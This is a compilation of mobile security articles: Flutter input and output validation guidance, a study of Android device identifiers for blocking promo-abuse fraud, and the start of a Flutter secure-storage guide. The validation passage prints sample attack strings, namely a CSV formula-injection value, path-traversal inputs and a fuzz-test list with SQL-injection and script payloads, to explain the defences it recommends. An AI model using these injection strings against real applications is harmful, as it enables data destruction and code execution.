final snapshot = await FirebaseFirestore.instance
    .collection('orders')
    .where(field, isEqualTo: value)
    .get();

Beyond filter injections, be cautious when dynamically building Firestore document paths based on user input. If you let users control path segments like userId, projectName, or orderId without validation, they might access or overwrite data that doesn't belong to them, especially if your Firestore rules are too broad.

// BAD: user controls Firestore path
final doc = FirebaseFirestore.instance.doc('projects/$inputProjectId');

An attacker could craft inputProjectId as ../../admins/root, possibly navigating out of bounds or triggering unexpected rules behavior. The fix is to validate all Firestore path components explicitly.

final id = inputProjectId;
if (!RegExp(r'^[a-zA-Z0-9_-]{1,28}$').hasMatch(id)) {
  throw Exception('Invalid project ID');
}

Avoid path control characters like / or . unless absolutely necessary. Firestore treats document and collection paths as part of its access control model, so a poorly validated string can become a security bug.

J. JSON Schema Validation

While you can create your own JSON validator, using a package might work for you too. For complex payloads, embed a JSON Schema validator to enforce structure:

import 'package:json_schema/json_schema.dart';

final schema = await JsonSchema.createSchema({
  'type': 'object',
  'properties': {
    'userId': {'type': 'string'},
    'age': {'type': 'integer', 'minimum': 0},
  },
  'required': ['userId', 'age'],
});

void handlePayload(Map<String, dynamic> data) {
  final errors = schema.validateWithErrors(data);
  if (errors.isNotEmpty) {
    throw Exception('Payload validation failed: \$errors');
  }
  // proceed safely
}

All in all, there is one thing I want to emphasis again.Client‑side vs. Server‑side ValidationAll these checks in your Flutter app are essential for immediate feedback, but they can be bypassed by a determined attacker (e.g., by intercepting traffic with a proxy).Always replicate critical validation rules on the server before processing or storing any data. Use client‑side validation for a smooth UX, but enforce the same strict type, format, length, and semantic checks in your backend to guarantee security. Here is the referece to read more.

2. Insufficient Output Sanitization

Even if input is clean, output can become dangerous when sent to contexts that interpret it, particularly HTML, CSV, or logging systems.

A. XSS in WebView

Loading unfiltered HTML is a direct path to script execution:

// BAD: runs all `<script>` tags in userHtml
_webViewController.loadHtmlString(userHtml);

Instead:

  1. Sanitize HTML before loading:

// Use a sanitization library like html_unescape or sanitize_html
// import 'package:html/parser.dart' as html;

final cleanHtml = sanitizeHtml(userHtml);
  1. Disable JavaScript if possible:

_webViewController
  .setJavaScriptMode(JavaScriptMode.disabled)
  .loadHtmlString(cleanHtml);
  1. Whitelist tags and attributes if JS is needed.

B. CSV Injection

If you export user data into a CSV, spreadsheet apps may treat cells starting with = or - as formulas:

name, comment
Alice,=cmd|' /C calc'!A0

To prevent this, prefix dangerous cells with a single quote:

String escapeCsv(String field) {
  if (field.startsWith('=') || field.startsWith('+') ||
      field.startsWith('-') || field.startsWith('@')) {
    return "'\$field";
  }
  return field;
}

C. Unsafe URL Generation

When building query URLs:

// BAD: manual concatenation
final url = 'https://api.example.com/search?query=' + userInput;

Always use Dart’s Uri helpers:

final uri = Uri.https(
  'api.example.com',
  '/search',
  {'query': userInput},    // automatically percent‑encoded
);

With unsafe outputs now neutralized, let’s turn next to how context shapes what “safe” really means.

3. Lack of Contextual Validation

A string that’s safe in one scenario might be fatal in another. Context is king.

A. File Path Traversal

// BAD: naive path construction
final path = "\${appDir.path}/\$fileName";
File(path).readAsString();

If fileName is ../../etc/passwd, you could read system files (on rooted devices).A safe pattern:

import 'package:path/path.dart' as p;

final safeName = p.basename(fileName);
if (!safeName.endsWith('.txt')) {
  throw Exception('Only .txt files allowed');
}
final safePath = p.join(appDir.path, safeName);
File(safePath).readAsString();

B. Dynamic UI Generation

If you let the server send widget definitions as JSON, a malformed request could crash your app or introduce logic flaws. Always validate the JSON schema before mapping it to widget code. Check "JSON Schema Validation" section to learn more how you can do that.

C. Accessibility & Localization

Don’t forget to validate user inputs for different locales (dates, numbers) and ensure error messages and validation cues are announced via Flutter’s accessibility widgets (e.g., `Semantics`, `SnackBar`) so all users get clear, localized feedback.Here is an example for inspiration.

import 'package:flutter/material.dart';
import 'package:intl/intl.dart';

class LocalizedForm extends StatefulWidget {
  @override
  _LocalizedFormState createState() => _LocalizedFormState();
}

class _LocalizedFormState extends State<LocalizedForm> {
  final _formKey = GlobalKey<FormState>();
  DateTime? _pickedDate;

  @override
  Widget build(BuildContext context) {
    // Choose a locale, e.g. Norwegian
    final dateFormatter = DateFormat.yMMMMd(
      Localizations.localeOf(context).toString(),
    );

    return Form(
      key: _formKey,
      child: Column(
        children: [
          // Date input with locale‑specific parsing
          TextFormField(
            decoration: InputDecoration(
              labelText: 'Dato (${dateFormatter.locale})',
            ),
            keyboardType: TextInputType.datetime,
            validator: (value) {
              if (value == null || value.isEmpty) {
                return 'Please add a date'; // localized error
              }
              try {
                _pickedDate = dateFormatter.parseStrict(value);
              } catch (_) {
                return 'Bad datoformat'; // localized error
              }
              print('_pickedDate $_pickedDate');
              return null;
            },
          ),

          SizedBox(height: 20),

          ElevatedButton(
            onPressed: () {
              if (_formKey.currentState!.validate()) {
                // Announce success via accessibility
                ScaffoldMessenger.of(context).showSnackBar(
                  SnackBar(
                    content: Semantics(
                      label: 'Send',
                      child: Text('Send'),
                      liveRegion: true,
                    ),
                  ),
                );
              }
            },
            child: Text('Send'),
          ),
        ],
      ),
    );
  }
}

4. Failure to Validate Data Integrity

Even well‑formed and properly encoded data can be altered once stored or cached. You must verify it hasn’t been tampered with.

A. SharedPreferences Flag Tampering

import 'package:crypto/crypto.dart';
import 'dart:convert';

String computeHmac(String value) {
  final key = utf8.encode('APP_SECRET_KEY');
  return Hmac(sha256, key).convert(utf8.encode(value)).toString();
}

// Saving:
prefs.setString('isAdmin', 'false');
prefs.setString('isAdmin_hmac', computeHmac('false'));

// Reading:
final val = prefs.getString('isAdmin')!;
final mac = prefs.getString('isAdmin_hmac')!;
if (computeHmac(val) != mac) {
  // graceful fallback instead of crash
  print('⚠️ Data integrity check failed, reverting to secure default');
  return false;
}

B. Verifying Remote Config or Assets

If you download a JSON config or an asset at runtime (for feature toggles, theming, etc.), use a signature or checksum provided by your server. After download:

  1. Compute the SHA‑256 of the payload.

  2. Compare it against the checksum you received over a secure channel.

If they don’t match, reject the payload and fall back to defaults.Now that we’ve secured every gate for inputs, outputs, and stored data, it’s time to adapt these defenses to platform‑specific rules.

Platform‑Specific Nuances

Even though Flutter gives us a single codebase, Android and iOS (and Windows, Web, macOS, and Linux) enforce different rules under the hood. Your validation strategy must account for those differences.

1. File System & Sandbox

  • iOS: Apps live in a strict sandbox. Even if you allow ../ in a filename, iOS will block access outside your container.

  • Android: Modern Android uses scoped storage, but if you request legacy or external‑storage permissions, a path‑traversal attack can hit shared directories.

To mitigate:

  • Always use path_provider to get the correct app directory.

  • Normalize and strip directory parts with path.basename().

  • Target-scoped storage on Android and avoid broad storage permissions unless absolutely necessary.

2. Intents & URL Schemes

Flutter plugins like uni_links or receive_sharing_intent let you handle incoming data:

// Example using uni_links
void _handleIncomingLink(Uri uri) {
  // OS guarantees correct scheme, but query params remain untrusted
  final action = uri.queryParameters['action'] ?? '';
  if (!['view', 'edit', 'share'].contains(action)) {
    return _showError('Unknown action');
  }
  // Process only after validating every parameter
}

Tip: On Android, set android:autoVerify="true" in your AndroidManifest.xml to reduce phishing via fake intents, but Dart-side validation remains essential.

3. WebView Differences

  • Android WebView (Chromium-based) lets you disable file access and set Safe Browsing flags, but enabling JavaScript will run any script in loaded HTML.

  • iOS WKWebView respects Content Security Policies if you inject them, but will execute JavaScript if enabled.

Secure WebView setup for both platforms:

_webViewController
  .setJavaScriptMode(JavaScriptMode.disabled) // Turn off JS if possible
  .setBackgroundColor(const Color(0x00000000))
  .loadRequest(Uri.parse('https://trusted.domain'));

If you must enable JavaScript (e.g., for interactive widgets):

  1. Sanitize the HTML.

  2. Restrict JS bridges (JavaScriptChannel on Android, message handlers on iOS) to known methods.

  3. Clear cache and data on logout to remove leftover scripts or cookies.

4. Native Code & MethodChannels

Platform channels let Dart talk to Kotlin/Java or Swift/Objective-C, another trust boundary that needs validation on both sides.

// Dart side (GOOD)
final result = await platform.invokeMethod('getConfig', {'key': configKey});
if (result is! String || result.length > 256) {
  throw Exception('Invalid config from native');
}

On the Kotlin side:

// Android native (Kotlin)
MethodChannel(flutterEngine.dartExecutor.binaryMessenger, "app/config")
  .setMethodCallHandler { call, res ->
    val key = call.argument<String>("key") ?: run {
      res.error("BAD_KEY", "Missing config key", null)
      return@setMethodCallHandler
    }
    if (key.isEmpty() || key.length > 64) {
      res.error("BAD_KEY", "Invalid config key", null)
      return@setMethodCallHandler
    }
    res.success(loadConfig(key))
  }

Use Pigeon to auto‑generate type-safe stubs and eliminate a whole class of runtime type errors.

By understanding sandbox models, intent handling, WebView quirks, and native bridges, you can tailor your validation strategy to close every gap.

Completing OWASP’s Prevention Checklist

OWASP’s “How Do I Prevent M4?” is built on these six pillars. So far, we’ve examined Input Validation, Output Sanitization, Context‑Specific Validation, and Data Integrity. Two more critical pieces remain: Secure Coding Practices and Continuous Security Testing & Maintenance.

1. Secure Coding Practices

Unsafe APIs can undo even rock-solid validation. Elevate your code quality by relying on high‑level, type‑safe libraries and avoiding string concatenation for any data that reaches a lower layer.

A. Parameterized Queries & ORMs

Rather than hand‑crafting SQL strings, use an ORM like Drift (formerly Moor). Drift auto‑parameterizes queries and provides Dart types with compile‑time checks:

// Define your Users table
class Users extends Table {
  IntColumn get id     => integer().autoIncrement()();
  TextColumn get name  => text()();
  TextColumn get email => text()();
}

// In your database class:
Future<List<User>> findUsersByName(String name) {
  // Drift ensures 'name' is a parameter, not part of the SQL code
  return (select(users)..where((u) => u.name.equals(name))).get();
}

With this approach, SQL injection is impossible, and your data layer is much easier to maintain.

B. Safe URL & Path Construction

Building URIs or file paths by hand invites subtle bugs and vulnerabilities. Always use Flutter’s built‑in helpers:

// Safe HTTP URL
final uri = Uri.https(
  'api.example.com',
  '/search',
  {'query': userInput}, // automatically percent‑encoded
);

// Safe file path
import 'package:path/path.dart' as p;
final safeName = p.basename(userInputFilename);
final file = File(p.join(appDir.path, safeName));

Uri and the path package handle encoding and normalization, so you never accidentally slip unsafe characters into a URL or path.

2. Continuous Security Testing & Maintenance

Validation logic isn’t “set and forget.” You must ensure your defenses stay aligned as your app evolves—new fields, screens, and data flows. Here’s how to bake security checks into your workflow:

A. Fuzzing with Unit & Integration Tests

Write tests that feed known attack patterns into your validation and data‑handling code:

// test/security_fuzz_test.dart
import 'package:flutter_test/flutter_test.dart';
import 'package:my_app/database.dart';

void main() {
  final db = MyDatabase();
  final payloads = [
    "Robert'); DROP TABLE users;--",
    "<script>alert(1)</script>",
    "../etc/passwd"
  ];

  for (var p in payloads) {
    test('findUsersByName rejects `$p`', () async {
      expect(
        () => db.findUsersByName(p),
        throwsA(isA<Exception>()),
      );
    });
  }
}

Extend these to widget tests, use WidgetTester or an external proxy to inject malformed deep links or simulate malicious user input.

B. Static Analysis & CI Integration

Automate linting and test runs so vulnerabilities never slip past a pull request:

# .github/workflows/flutter.yml
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: subosito/flutter-action@v2
        with:
          channel: stable
      - run: flutter pub get
      - run: flutter analyze --fatal-infos
      - run: flutter test --coverage

Add security‑focused lints (e.g., flagging rawQuery usage or unrestricted JavaScriptMode.unrestricted) to catch risky code patterns before review.

Integrate a dynamic analysis tool (e.g., OWASP ZAP or MobSF) into your CI pipeline to regularly scan your running app for input/output flaws and endpoint injection points. This is out of scope of this article and requires a dedicate article. I will tend to write about them but also let me know if this is interesting to you so I can focus on prioritizing it for you.

If you're using Firebase Cloud Functions as your backend, don’t rely on client-side validation alone. Functions receive raw data directly from users, and even though the UI might enforce types and formats, an attacker can bypass the frontend and call the function directly using tools like Postman or a custom app.

// BAD: Accepts user-supplied amount blindly
exports.processPayment = functions.https.onCall((data, context) => {
  const amount = data.amount;
  // processes payment...
});

This opens the door to abuse if the amount is not a number, or it's negative, or too large.Always validate critical fields on the backend, even if they've already been checked on the client:

if (typeof data.amount !== 'number' || data.amount <= 0 || data.amount > 100000) {
  throw new functions.https.HttpsError('invalid-argument', 'Invalid amount');
}

Whether it’s a Cloud Function or a Firestore path, your server-side Firebase logic should replicate the same rigorous checks as your Flutter app.

C. Validation Coverage & Maintenance

As OWASP warns under “Improper Data Validation,” adding a new form field and forgetting its validator is easy. Prevent that drift by centralizing and testing your validators:

// validators.dart
final Map<String, FormFieldValidator> validators = {
  'email': emailValidator,
  'password': passwordValidator,
  'phone': phoneValidator,
  // …when you add 'address', add addressValidator here
};

Then verify coverage with a unit test:

// test/validator_coverage_test.dart
import 'package:flutter_test/flutter_test.dart';
import 'package:my_app/validators.dart';

void main() {
  test('All form fields have validators', () {
    final formFields = ['email', 'password', 'phone'];
    expect(
      validators.keys.toSet(),
      equals(formFields.toSet()),
      reason: 'Form fields and validators must stay in sync',
    );
  });
}

And never skip calling _formKey.currentState!.validate() on submit—otherwise, none of your carefully written validators will run.

Quick Checklist

Before we end this article, I made a quick checklists for you to ensure you are on top of the security for your application to comply the M4 best practices.[ ] All user inputs run through allow‑lists and type checks[ ] Outputs to HTML/CSV/URLs are sanitized/escaped[ ] Percent‑encoding & Unicode are canonicalized before validation[ ] NoSQL/GraphQL filters validated against field‑name allow‑lists[ ] Integrity of persisted/cached data verified (HMAC/checksum)[ ] CI runs both static (lint/SAST) and dynamic (fuzz/DAST) tests[ ] Firestore paths are validated and encoded before use[ ] Firebase Cloud Functions enforce server-side schema validation

Conclusion

Remember that finance app wiped out by a single SQL payload? By layering strict input checks, context‑aware rules, and continuous testing, you build a fortress where no malicious data can slip in or out. Until then, keep validating like a fortress guard, no unchecked carriage should pass!Stay tuned for our next article on M5: Insecure Communication.

Fraud-Proofing an Android App: Choosing the Best Device ID for Promo Abuse Prevention

⚡Key takeaways:

  • Promo abuse is a type of fraud where bad actors take advantage of a business’s sign-up bonuses, referrals, coupons, or promotions.

  • MediaDRM should be preferred over device fingerprinting whenever possible.

  • Ultimately, our research suggests the best device ID suitable for blocklisting is a combination of MediaDRM+device model.

  • Always include multiple security layers like the AppiCrypt (protecting your mobile app’s backend API), RASP (app shielding), and KYC solutions (customer identity verification).

  • Keep in mind that your specific scenario may require a different approach. Drop a message at [email protected], and Talsec security experts will help you.

How to identify abuser?

Recently, we’ve faced a challenge in mobile device identification — how to identify and blocklist a fraudulent device without compromising user privacy. This issue holds particular significance for mobile application owners who frequently contend with users evading payments or exploiting various bonuses.

While it’s common to attract users with enticing bonuses during their initial sign-up, it’s crucial to recognize that this strategy comes with inherent risks and is prone to abuse. These malicious users go to the extent of reinstalling the app multiple times, attempting to gain sign-up bonuses repeatedly — a behavior we term “multi-instancing.”

Since Android alters some device IDs for each new app instance, pinpointing the same bad actor’s device becomes challenging for blocklisting. This underscores the complexity of our pursuit for an effective solution.

Fraudulent device identification (Generated with AI)

Good ID is unique, collision-resistant, persistent, and privacy-friendly. And Unspoofable.

In the past, you could identify a device by its MAC address or IMEI without requesting special permissions. Today, after many Android privacy-oriented changes, several semi-persistent IDs are available on Android devices, such as AndroidID, MediaDRM, GSF ID, FID, and InstanceID. Of course, asking users for any permissions with elevated access and potential security implications is unrealistic.

Each of the IDs has its ups and downs, making them useful in different scenarios; see the example table below. You can find additional information about the IDs in the Android documentation.

Alternatively, the ID can be constructed by various device fingerprint libraries (e.g., fingerprintjs-android) based on multiple device IDs, device states, OS fingerprints, or installed apps.

fingerprintjs-android identifiers stability table ()

Let’s look closer at these IDs.

AndroidID, GSF ID, FID, InstanceID, Google Advertising ID

While these identification methods may serve well in other contexts, in our scenario, they lack the resilience needed to withstand fraudulent multi-instancing. These IDs are relatively easy to change, so only a quick explanation about downsides of each respective one:

  • AndroidID changes in case of repackaging or if installed under another user on device

  • GSF ID (Google Play Service Framework ID) is restricted to Google devices only and can be relatively easily spoofed by XPrivacyLua. It also changes for different users.

  • FID (Firebase installation ID) won’t survive reinstallation

  • InstanceID (GUID, UUID.randomUUID().toString()) is custom generated and internally stored ID, but it won’t survive reinstallation

  • Google Advertising ID is not suitable at all

In summary, none of those IDs is solid enough to identify bad actors in our scenario.

Fingerprint IDs based on the fingerprintjs-android library

Notice: In the whole analysis, we worked with the fingerprintjs-android library that uses a comprehensive list of signals for stateless offline fingerprinting. The results of other fingerprinting libraries may be different. They may include more signals and heuristics based on their data insights, geolocation, IP location, TEE, and possibly other magic. Talsec collects fingerprintjs-android V3 & StabilityLevel.OPTIMAL. Differences between stability levels (STABLE — OPTIMAL — UNIQUE) can be found here.

Glance over the table above once again. At first sight, the Hardware Fingerprint (see the table above) could be the best option — it survives anything except for the Instant App event. However, there is one serious drawback to this ID — the collisions. Collisions are caused by the way the ID is calculated — as the name suggests, the ID is solely based on the device’s hardware. Imagine all the Samsung Galaxy Z Flips coming straight out of the assembly line. All of them will have the same ID in case of hardware-based fingerprint. This type of fingerprint is called a STABLE fingerprint.

captured from

On the other end, there is a UNIQUE fingerprint, which uses a considerable amount of signals to calculate the device’s ID. IDs created in this way have a high probability of matching only to one user (minimal number of collisions), but because of the high amount of signals, the ID changes quite often (e.g., with some change in settings), making one user have many IDs (making it useless in our use case). Example: ID may change if there is a change in installed apps or Data Roaming is enabled/disabled.

A third type of fingerprint is a compromise between the STABLE and UNIQUE fingerprints — an OPTIMAL fingerprint. It is less stable but more unique than the STABLE one and is collected by the Talsec SDK. But even this type of fingerprint is not as optimal as it sounds — as shown later in this article. Example: ID may change if the user switches between 12 and 24-hour clock representation or Development Settings or ADB is enabled/disabled.

Fingerprint example: `f37fc958dc6d566a8f4bf1e0fd25b510`

MediaDRM

MediaDrm is an Android API enabling the secure provision of encryption keys to MediaCodec for premium content playback. It uses DRM providers like Google’s Widevine and Microsoft’s PlayReady. During initial DRM use, device provisioning obtains a unique certificate stored in the device’s DRM service.

Not only is the MediaDRM provided by this API the same for all users on the device, but in our scenario, it’s harder to spoof and can survive many attacks. No permissions are required to get this ID.

Yet, it still has limitations. It may be missing on devices that don’t support MediaDrm. Also, MediaDRM seems to have quite a few collisions with devices of the same manufacturer, as we show further.

MediaDRM example: `e3af1aa4dacb6b6637846488b511e7643c6ac20b65c95baad164b122ecb036b6`

MediaDRM vs Fingerprint ID?

We tested five devices and emulators under multiple multi-instancing scenarios and checked whether the IDs changed or remained the same. The most interesting ones are MediaDRM and Fingerprint (V3 & V5 Optimal), so we especially paid attention to these.

Multi-instancing scenarios:

  • First install of the app

  • Reinstall of app

  • Install in Work Profile

  • Make a clone of the app using Island App

  • Make a clone of the app using Parallel Space

  • Make a clone of the app using Parallel Apps

  • Make a clone of the app using Second Space (Xiaomi)

  • Installation in Guest Profile

  • Factory reset

  • Android emulator vs. actual device

This tedious work was made easier thanks to a great Fingerprint OSS Demo tool.

Fingerprint OSS Demo ()

Here are the most important observations. Not all tests could always be performed, so we did all the low-hanging fruit ones — essentially, those attackers would attempt also.

Remained the same (= good):

  • MediaDRM remained the same for the First install, and Island App on the OnePlus 8 Pro

  • MediaDRM remained the same for the First install and Second Space on Redmi Note 10 Pro

  • MediaDRM remained the same after the Factory reset on the OnePlus 8 Pro

  • MediaDRM remained the same for First install, Work Profile, and Multiple Users on the OnePlus 8T

  • Fingerprint V5 Optimal remained the same for the First install and Parallel Space on the OnePlus 8T

  • MediaDRM and Fingerprint V3 & V5 Optimal remained the same after Reinstall on Redmi Note 10 Pro

  • Fingerprint V5 Optimal remained the same after reinstalling for First install, Work Profile, and Parallel Space on OnePlus 8T

Changed (= bad):

  • Fingerprint V5 Optimal changed for First install and Island App

  • Fingerprint V5 Optimal changed after a Factory reset on the OnePlus 8 Pro

  • Fingerprint V5 Optimal changed in Second Space on Redmi Note 10 Pro

  • MediaDRM changed in Parallel Space on the OnePlus 8T

  • Fingerprint V5 Optimal changed in Work Profile and Guest User on OnePlus 8T

Other:

  • FingerprintV3 Optimal was better than Fingerprint V5 Optimal for the emulator

  • MediaDRM was different on Emulator 1 and Emulator 2 (both on the same Windows machine)

Based on the observations, Fingerprint V3 and V5 Optimal failed in many multi-instance fraud scenarios compared to MediaDRM. From these tests, we can conclude that MediaDRM is the better one.

Analyzing raw data

To quantify the results, we took our data, evaluated the behavior of those IDs, and came up with the most suitable ID based on the data. Remember that our data may be skewed and not representative compared to the devices of your user base.

Two weeks of data collection

We took two weeks of our freeRASP data and analyzed them. As the period is relatively short, we assume there are only so many reinstallations. Again, beware that we deliberately chose this window without any research regarding the real reinstall rate, which may differ based on the category/use case of the specific application.

Below, you can see the number of unique values for each ID and the number of unique device models captured in this data.

AndroidID: 13 402 601

FingerprintV3: 22 525 265

MediaDRM: 13 285 081

InstanceId: 13 740 706

Distinct device models: 14 175 (i.e., Pixel 4, SM-G973N, ONEPLUS A5000, LG-H930, …)

At first glance, we noticed the number of FingerprintV3, which is much higher than the numbers of the other IDs. This could be caused by the behavior of the FingerprintV3, which changes whenever users change some of the 32 observed fingerprinting signals.

How are the IDs related?

After that, we looked at the co-occurrence of the IDs to see the relation between them.

How to read the table below: One AndroidID has 1.00557 unique MediaDRMs, and 0.54% of unique AndroidIDs have more than one MediaDRMs.

ID collisions: Same ID but different device

Based on the data, we can’t say what a “different device” is (as we are still looking for the “best” identifier).

Let’s look at how many models per ID there are on average. Remember that it is desirable for us to have the least number of collisions (distinct devices with the same ID) — we expect the IDs to have only one associated model. A quick glance over the table below will tell us there truly are some discrepancies.

The Findings

Based on the data analysis, we can state the following:

  • FingerprintV3 has too many values compared to other IDs, making it less useful in our scenario.

  • One AndroidID/MediaDRM/InstanceID usually has more FingerprintV3s.

  • AndroidId and MediaDRM are roughly 1:1; some MediaDRM instances have multiple AndroidIDs (more than AndroidId has MediaDRMs).

  • In some cases, one AndroidID has multiple InstanceIDs (more often than MediaDRMs), similar to the relationship between MediaDRM and InstanceID.

  • InstanceID is more bound to AndroidID than MediaDRM.

  • AndroidID has only one model (with a tiny amount of outliers).

  • MediaDRM usually has one model, but there are a few collisions (more than in the case of AndroidID).

  • InstanceId falls somewhere in between the models.

Overall, the best of these identifiers seems to be AndroidID, followed by MediaDRM. InstanceId can also be helpful, but less so than AndroidID. FingerprintV3 is useless in our scenario. Since AndroidID changes after the reinstallation and is relatively easy to spoof, MediaDRM seems to be the most suitable for fraud detection.

However, MediaDRM seems to have quite a few collisions (based on our analysis of the models). We have discovered that the collisions occur most often with devices of the same manufacturer (i.e., devices of the same manufacturer are much more likely to have the same MediaDRM than devices of different manufacturers). Here are some numbers for you to get an overview:

  • 0.005% of MediaDRMs have more than one manufacturer

  • 0.55% of MediaDRMs have more than one model of the same manufacturer

  • The mean number of manufacturers per MediaDRM: 1.000085

  • The mean number of models of one manufacturer per MediaDRM: 1.006362

Can we improve MediaDRM?

After many attempts (that we won’t elaborate here), we have tried experimenting with a combination of MediaDRM+model as a potential ID.

Example of combined MediaDRM+model of some Google Pixel 4: e3af1aa4dacb6b6637846488b511e7643c6ac20b65c95baad164b122ecb036b6+Pixel 4

Below is the same table of co-occurrences as above, now containing relations with MediaDRM+model:

We can see that the MediaDRM+model behaves better than the original MediaDRM — each MediaDRM+model has lower number of other IDs associated with it, meaning that we have avoided a few collisions (even though we cannot quantify that amount exactly, but the minimum bound is estimated by the MediaDRM — MediaDRM+model numbers).

While making the ID as a combination of two characteristics, we might run into an issue with one device having more IDs. However, this should not be the case with the MediaDRM+model, as one device should have only one model associated with it (i.e., one physical unit of Google Pixel 4 phone should always have only and only model name “Pixel 4”).

Therefore based on the data, we suggest using a simple combination of MediaDRM and device model as an ID for the examined case of fraud detection.

Summary

We’re tackling a challenge in mobile device identification — how to block fraudster devices without compromising user privacy. Mobile app owners face issues with users evading payments and exploiting bonuses through multi-instancing — reinstalling the app multiple times. Unreliable device IDs make it tough to identify persistent bad actors. Our findings recommend prioritizing MediaDRM over device fingerprinting (or even better combination of MediaDRM and device model) for effective blocklisting. Don’t forget to enhance security with layers like AppiCrypt, RASP, and KYC solutions. Every scenario is unique, so for tailored guidance, contact Talsec security experts at [email protected].

Written by Dáša Pawlasová, Matúš Šikyňa, and Tomáš Soukal

How to implement Secure Storage in Flutter?

This step-by-step guide outlines best practices for implementing secure data storage in Flutter applications, providing instructions for integration on both iOS and Android.

Introduction

Imagine you are developing a sales application for a local store. To expedite the purchasing process, the company decides to store users’ credit card data for future transactions. This data will be stored locally on the users’ devices. The crucial question that arises is: how and where to securely store this sensitive data? The answer to this question is what has led us to write this article.

To illustrate the importance of proper storage practices, let’s consider that you developed the feature without adhering to best practices, which led to the leakage of your customers’ credit card data, resulting in the loss of their trust and some lawsuits. Although this is a undesirable scenario, it could become a reality.

In this context, we will explore security concepts related to data storage and present the best practices for managing each available storage method, ensuring that users’ information remains protected against potential threats and vulnerabilities.

Understanding Data Storage Security Concepts

What defines secure data? Basically, it is information protected against unauthorized access, theft, corruption, and destruction outside the application’s expected lifecycle.

Although this definition brings with it a huge challenge, this subject has been debated for a long time in computing, and thanks to that, we currently have some concepts that help us better understand how to achieve this security. For this article, I would like to focus on three.

First, we have encryption, which transforms readable information into protected formats, ensuring that only authorized recipients can access and understand the data. Next, we have access controls, which allow applications to manage who is authorized to access the data and how this will occur. This control can be implemented through various components, such as: authentication, authorization, networking, management, and auditing. Finally, there are hardware-based security solutions, which use physical technologies to protect against attacks. This is possible thanks to execution in an isolated hardware environment, which takes place in a secure area within the main processor. A similar process can be done with the Trusted Execution Environment (TEE), or in a dedicated coprocessor, as happens with Apple’s devices that have the so-called Secure Enclave. These concepts will be further explored throughout the article.

Insecure Storage Methods

Now that we understand what makes data insecure as well as some of the concepts behind data security, let’s take a look at the methods offered to developers that, by default, have a lower level of security and can be considered insecure.

File Storage

In both operating systems, Android and iOS, applications can create and store files in the internal file system, even though this access is not exposed to the end user in the same way as in desktop systems. Each application has a dedicated storage space, which provides a certain level of isolation between the data of different applications.

The data best suited for this type of storage includes documents, images, and other larger files. For example, video streaming applications often offer the option to download content so that the user can watch offline. These would be excellent candidates for utilizing this storage method.

UserDefaults and SharedPreferences

Another method for storing small amounts of data is by using UserDefaults on iOS and SharedPreferences on Android. Both were developed to store simple data using key-value pairs, consisting of a key of type String and a value limited to the types supported by each platform.

These systems are ideal for saving user preferences, application settings, and other non-sensitive data that needs to persist between sessions. For example, it is common to store the theme selected by the user, the last accessed tab, or configuration options.

Why are they considered insecure?

In the previously presented storage methods, data is not encrypted by default. This makes it easier to access information on devices with root or jailbreak access, increasing the risk of exposing users’ sensitive data. On non-rooted or non-jailbroken devices, access to the file system is restricted to protect sensitive system files and application data for security purposes. Root or jailbreak permissions allow us to bypass these restrictions and gain full access to these files.

To illustrate the vulnerability of applications to modified devices, I will extract and modify content within a counting application developed with Flutter. In this example, the value of the last count is stored in a text file. It’s important to note that this lack of security is not specific to Flutter — the same issue would occur if the application were developed natively for Android.

The following example was adapted directly from Flutter’s official documentation on how to write and read files.

For our experiment, it will be necessary to use an emulator with root permissions and the Total Commander application — This will help us access the Android file system. However, it’s worth mentioning that Total Commander is just one of many tools that can be used for this purpose.

The first step is to access our application and add some numbers to the counter. In this way, the application will write and store the count value in a text file.

Next, we will open Total Commander. We will navigate to the data/data/ directory and access the folder named Installed apps. After that, simply locate the counting application we developed.

With that, we will have access to the internal files of our application. To view the created text file, just navigate to app_flutter/counter.txt.

In this way, we can view all the content stored in this file and, in addition, we have the possibility to modify the value as desired. If we change the value, it will be necessary to save the file and reopen the counting application. After this procedure, the modified value will be displayed in the application.

Secure Storage Methods

Although we have already discussed data insecurity at length, we have also covered essential fundamentals such as encryption, access control, and hardware-based security solutions. In this section, we will explore storage methods that use these fundamentals to ensure greater data security. However, before we move forward with the content, it will be important to review in more detail the concept of hardware-based security, as this will be crucial to understanding what happens under the hood.

Hardware-based Security solutions

For software to maintain its security, it must rely on hardware that is designed with robust security features. For this reason, Both Android and iOS devices have their own hardware-based security technologies.

In most cases, Android and iOS implement different Hardware-based security solutions. However, they always follow the same principle: creating an environment isolated from the operating system that is secure for performing cryptographic operations. ⁤⁤This ensures that even if the main processor is compromised, critical information, such as cryptographic keys and authentication data, like biometric data, remains protected. ⁤

On Android, the primary mechanism is the Trusted Execution Environment (TEE), an isolated area within the main processor. However, more recent models are also integrating the Secure Element (SE), a chip separate from the processor and specifically designed for enhanced security.

On iOS, although the Secure Element exists, it is more related to Apple Pay technologies. The primary focus for developers is the Secure Enclave. This hardware component is integrated into the main processor and acts as a coprocessor exclusively focused on security.

⁤I know, all this talk about hardware may seem distant from our reality as app developers. ⁤⁤However, have you ever heard of Android's KeyStore or Apple's Keychain?

Platform-Specific Secure Storage Options

Tools like the Android's KeyStore and the Apple's Keychain bridge the gap between complex security-dedicated hardware and everyday development. However, these tools differ in how they operate.

The KeyStore present on Android devices is responsible for ensuring the security of the cryptographic keys used. It also allows developers to restrict when and how the keys can be used by applying access control concepts, such as requiring authentication before the data is utilized. As mentioned, the KeyStore system integrates directly with security hardware components to ensure that cryptographic keys are generated, stored, and handled in a secure and isolated environment.

While the KeyStore was designed to store cryptographic keys used by applications, Apple's Keychain is more comprehensive, also handling passwords and other small but sensitive data, such as keys and login tokens. Due to this wider scope, the requirements—and consequently the implementation—differ. The Keychain is implemented using an SQLite database stored in the file system. The security of the stored data is guaranteed by encryption, whose key is stored in the Secure Enclave, ensuring protection through both encryption and dedicated hardware. Additionally, access control policies can be applied to the data, further reinforcing security.

Transitioning to Secure Data Storage

After all this overview on data security in mobile applications, it’s time to show in practice how we can improve the security of the data we store.

Remember the counting app we highlighted at the beginning of the article? Using this, we will demonstrate a step-by-step guide on how to apply the concepts we presented throughout the article.

Cryptography

As mentioned, encrypting is transforming readable information into protected formats. But how does this actually happen? The explanation depends on the type of cryptography: it can be symmetric or asymmetric. In the tutorial below I will only be focusing on symmetric algorithms, if you are curious about asymmetric algorithms feel free to do your own research.

